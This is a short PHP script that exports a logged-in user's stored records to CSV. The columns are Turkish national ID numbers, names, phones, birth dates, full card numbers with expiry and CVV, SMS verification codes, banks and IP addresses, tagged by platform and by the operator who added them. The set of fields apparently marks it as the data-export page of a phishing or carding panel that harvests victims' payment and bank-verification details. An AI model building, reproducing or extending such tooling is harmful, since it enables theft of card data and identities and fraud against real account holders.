<?php
require_once '../database/connect.php';
session_start();

$kul_id = $_SESSION['kul_id'] ?? '';
if (empty($kul_id)) {
    header('Location: ../signin.php');
    exit;
}

// Verileri al
$stmt = $db->prepare("SELECT * FROM veriler WHERE ekleyen = ? ORDER BY created_at DESC");
$stmt->execute([$kul_id]);
$veriler = $stmt->fetchAll();

// CSV olarak indir
header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename="dalton_veriler_' . date('Y-m-d_H-i-s') . '.csv"');

$output = fopen('php://output', 'w');

// BOM for UTF-8
fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));

// Başlıklar
fputcsv($output, [
    'ID', 'Tarih', 'Platform', 'Veri Tipi', 'TC No', 'Ad Soyad', 'Telefon', 
    'Doğum Tarihi', 'Kart No', 'SKT', 'CVV', 'SMS Kodu', 'Banka', 'IP Adresi'
]);

// Veriler
foreach ($veriler as $v) {
    fputcsv($output, [
        $v['id'],
        $v['created_at'],
        $v['platform'],
        $v['veri_tipi'],
        $v['tc_no'],
        $v['ad_soyad'],
        $v['telefon'],
        $v['dogum_tarihi'],
        $v['kart_no'],
        $v['kart_sk'],
        $v['kart_cvv'],
        $v['sms_kodu'],
        $v['banka'],
        $v['ip_adresi']
    ]);
}

fclose($output);
exit;
